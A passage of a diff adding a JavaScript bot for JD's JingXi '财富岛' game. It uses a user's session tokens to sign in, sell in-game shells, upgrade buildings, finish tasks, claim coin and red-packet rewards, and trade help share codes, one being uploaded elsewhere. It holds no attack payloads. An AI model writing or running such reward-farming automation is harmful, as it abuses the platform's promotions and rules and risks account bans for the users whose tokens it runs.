console.log('') + //卖贝壳 + // await $.wait(2000) + // await querystorageroom('1') + + //升级建筑 + await $.wait(2000) + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}&dwType=1` + await getBuildInfo(body, vo) + await $.wait(2000) + } + + //接待贵宾 + console.log(`接待贵宾`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Special) { + console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) + await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) + await $.wait(vo.Special.dwWaitTime * 1000) + await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + await $.wait(2000) + } else { + console.log(`当前暂无贵宾\n`) + } + } + } else { + console.log(`当前暂无贵宾\n`) + } + + //收藏家 + console.log(`收藏家`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Collector) { + console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) + await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) + await $.wait(2000) + await querystorageroom('2') + await $.wait(2000) + await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } else { + console.log(`当前暂无收藏家\n`) + } + } + } else { + console.log(`当前暂无收藏家\n`) + } + + //美人鱼 + console.log(`美人鱼`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Mermaid) { + if (vo.Mermaid.dwIsToday === 1) { + console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) + await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) + } else if (vo.Mermaid.dwIsToday === 0) { + await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } + } else { + console.log(`当前暂无美人鱼\n`) + } + } + } else { + console.log(`当前暂无美人鱼\n`) + } + + //倒垃圾 + await $.wait(2000) + await queryRubbishInfo() + + console.log(`\n做任务`) + //牛牛任务 + await $.wait(2000) + await getActTask() + + //日常任务 + await $.wait(2000); + await getTaskList(0); + await $.wait(2000); + await browserTask(0); + + //成就任务 + await $.wait(2000); + await getTaskList(1); + await $.wait(2000); + await browserTask(1); + + //卡片任务 + await $.wait(2000); + await getPropTask(); + + await $.wait(2000); + const endInfo = await getUserInfo(false); + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【🥇金币】${endInfo.ddwCoinBalance}`, + `【💵财富值】${endInfo.ddwRichBalance}\n`, + ); + + } catch (e) { + $.logErr(e) + } +} + +// 使用道具 +function GetPropCardCenterInfo() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPropCardCenterInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} GetPropCardCenterInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`使用道具卡`) + if (data.cardInfo.dwWorkingType === 0) { + $.canuse = false; + for (let key of Object.keys(data.cardInfo.coincard)) { + let vo = data.cardInfo.coincard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } + } + for (let key of Object.keys(data.cardInfo.richcard)) { + let vo = data.cardInfo.richcard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } + } + if (!$.canuse) console.log(`无可用道具卡`) + } else { + console.log(`有在使用中的道具卡,跳过使用`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function UsePropCard(strCardTypeIndex) { + return new Promise((resolve) => { + let dwCardType = strCardTypeIndex.split("_")[0]; + $.get(taskUrl(`user/UsePropCard`, `dwCardType=${dwCardType}&strCardTypeIndex=${encodeURIComponent(strCardTypeIndex)}`), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} UsePropCard API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + let cardName = strCardTypeIndex.split("_")[1]; + console.log(`使用道具卡【${cardName}】成功`) + } else { + console.log(`使用道具卡失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 寻宝 +function TreasureHunt(strIndex) { + return new Promise((resolve) => { + $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + if (data.AwardInfo.dwAwardType === 0) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) + } else if (data.AwardInfo.dwAwardType === 1) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) + console.log(JSON.stringify(data)) + } else if (data.AwardInfo.dwAwardType === 4) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(`寻宝失败:${data.sErrMsg}`) + $.break = true + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 接待贵宾 +function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { + return new Promise((resolve) => { + $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (dwType === '2') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'下船成功`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) + } + } else if (dwType === '3') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 收藏家 +function collectorOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise((resolve) => { + $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 美人鱼 +async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + switch (dwType) { + case '1': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`开始解救美人鱼`) + dwType = '3' + await mermaidOper(strStoryId, dwType, ddwTriggerDay) + await $.wait(2000) + } else { + console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '2': + break + case '3': + if (data.iRet === 0 || data.sErrMsg === 'success') { + dwType = '2' + let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) + console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) + } else { + console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '4': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) + } else { + console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) + } + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 卖贝壳 +async function querystorageroom(dwSceneId) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(2000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 每日签到 +async function getTakeAggrPage(type) { + return new Promise(async (resolve) => { + switch (type) { + case 'sign': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'wxsign': + $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`小程序每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body, 6) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'helpdraw': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n领助力奖励`) + let helpNum = [] + for (let key of Object.keys(data.Data.Employee.EmployeeList)) { + let vo = data.Data.Employee.EmployeeList[key] + if (vo.dwStatus !== 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await helpdraw(helpNum[j]) + await $.wait(2000) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} +function rewardSign(body, dwEnv = 7) { + return new Promise((resolve) => { + $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.ddwCoin) { + console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) + } else if (data.Data.ddwMoney) { + console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) + } else if (data.Data.strPrizeName) { + console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + } else { + console.log(`签到成功:很遗憾未中奖~\n`) + } + } else { + console.log(`签到失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function helpdraw(dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.StagePrizeInfo) { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } else { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + } + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 倒垃圾 +async function queryRubbishInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`倒垃圾`) + if (data.Data.StoryInfo.StoryList.length !== 0) { + for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { + let vo = data.Data.StoryInfo.StoryList[key] + if (vo.Rubbish) { + await $.wait(2000) + let rubbishOperRes = await rubbishOper('1') + if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { + console.log(`获取垃圾信息成功:本次需要垃圾分类`) + for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { + let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] + await $.wait(2000) + var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) + } + if (rubbishOperTwoRes.iRet === 0) { + let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish + console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + } + } else { + console.log(`获取垃圾信息成功:本次不需要垃圾分类`) + if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { + console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function rubbishOper(dwType, body = '') { + return new Promise((resolve) => { + switch(dwType) { + case '1': + $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + case '2': + $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + default: + break + } + }) +} + +// 牛牛任务 +async function getActTask(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ([0, 1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { + if (vo.strTaskName === "升级1个建筑") continue + console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) + for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { + console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) + await doTask(vo.ddwTaskId, 2) + await $.wait(2000) + } + } + } + data = await getActTask(false) + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + await awardActTask('Award', vo) + await $.wait(2000) + } + } + data = await getActTask(false) + if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { + if (data.Data.dwStatus !== 4) { + console.log(`【🐮牛牛任务】已做完,去开启宝箱`) + await awardActTask('story/ActTaskAward') + await $.wait(2000) + } else { + console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + } + } else { + console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function awardActTask(function_path, taskInfo = '') { + const { ddwTaskId, strTaskName} = taskInfo + return new Promise((resolve) => { + switch (function_path) { + case 'Award': + $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + if (JSON.parse(prizeInfo).dwPrizeType == 4) { + str = msg + prizeInfo ? `获得红包 ¥ ${JSON.parse(prizeInfo).strPrizeName}` : ''; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + } + console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'story/ActTaskAward': + $.get(taskUrl(function_path), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + } else { + console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} + +// 升级建筑 +async function getBuildInfo(body, buildList, type = true) { + let twobody = body + return new Promise(async (resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + let buildNmae; + switch(buildList.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if (data.dwBuildLvl === 0) { + console.log(`创建建筑`) + console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) + await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) + await $.wait(2000) + data = await getBuildInfo(twobody, buildList, false) + await $.wait(2000) + } + console.log(`收金币`) + const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` + let collectCoinRes = await collectCoin(body) + console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) + await $.wait(3000) + await getUserInfo(false) + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) + console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `strBuildIndex=${data.strBuildIndex}&ddwCostCoin=${data.ddwNextLvlCostCoin}` + await $.wait(2000) + let buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function collectCoin(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function createbuilding(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号已黑`) + $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point,choose_goods_has_show,daily_task_win,new_user_task_win,guider_new_user_task,guider_daily_task_icon,guider_nn_task_icon,tool_layer,new_ask_friend_m')}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strVersion=1.0.1&dwIsReJoin=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.showPp = data?.AreaAddr?.dwIsSHowPp ?? 0 + const { + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + StoryInfo = {}, + Business = {}, + XbStatus = {} + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); + $.shareCodes.push(strMyShareId) + await uploadShareCode(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + StoryInfo, + XbStatus + }; + resolve({ + 